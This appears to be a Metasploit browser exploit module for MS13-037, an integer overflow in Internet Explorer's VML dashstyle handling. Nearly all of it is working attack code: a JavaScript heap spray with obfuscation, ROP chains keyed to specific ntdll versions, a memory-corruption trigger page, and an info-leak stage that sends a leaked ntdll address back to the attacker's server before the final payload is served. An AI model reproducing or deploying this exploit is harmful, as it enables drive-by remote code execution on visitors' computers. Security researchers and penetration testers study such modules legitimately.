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|
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'Payload' => {...},
'DefaultOptions' => {...},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' => {...},
'Targets' => [...],
'Privileged' => false,
'DisclosureDate' => '2013-03-06',
'DefaultTarget' => 0))
register_options(...)
register_advanced_options(...)
end
def exploit
@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
@leak_param = rand_text_alpha(5)
super
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
randnop = rand_text_alpha(rand(100) + 1)
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end
return js
end
def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a,
@ntdll_base+0x000096c9,
@ntdll_base+0x00015789,
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18,
0x0c0c0c40,
0xffffffff,
0x0c0c0c34,
0x0c0c0c38,
0x00000040,
0x0c0c0c3c,
0x0c0c0c40,
0x00000400,
0x41414141
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725"
stack_pivot = [
@ntdll_base+0x0001579a,
@ntdll_base+0x000096c9,
@ntdll_base+0x00015799,
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18,
0x0c0c0c40,
0xffffffff,
0x0c0c0c34,
0x0c0c0c38,
0x00000040,
0x0c0c0c3c,
0x0c0c0c40,
0x00000400,
0x41414141
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end
def get_payload(t, cli)
code = payload.encoded
return code if t.opts['Rop'].nil?
case t.opts['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06,
0x7c341748,
0x7c348b05
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + payload.encoded
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
js_trigger = %Q|
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();
}
|
create_rects_func = "createRects"
exploit_func = "exploit"
if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate(memory_sensitive: true)
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end
html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def html_info_leak
uri_prefix = "#{get_resource.chomp("/")}/#{@second_stage_url}".gsub('//', '/')
js_trigger = %Q|
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{uri_prefix}?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
}
}
|
create_rects_func = "createRects"
exploit_func = "exploit"
if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate(memory_sensitive: true)
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end
html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def set_rop(t, rop, info)
case rop
when /^ntdll$/i
t.opts['Rop'] = :ntdll
when /^jre6$/i
if info[:java] !~ /1\.6|6\.0/
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
end
t.opts['Rop'] = :jre
end
return t
end
def on_request_exploit(cli, request, target_info)
begin
my_target = set_rop(get_target, datastore['ROP'], target_info)
rescue RuntimeError => e
print_warning(e.message)
send_not_found(cli)
return
end
if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
if leak == 0
html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end
print_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff
case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725"
@ntdll_base = leak - 0x47090
else
print_warning("ntdll version not detected, sending 404")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end
|
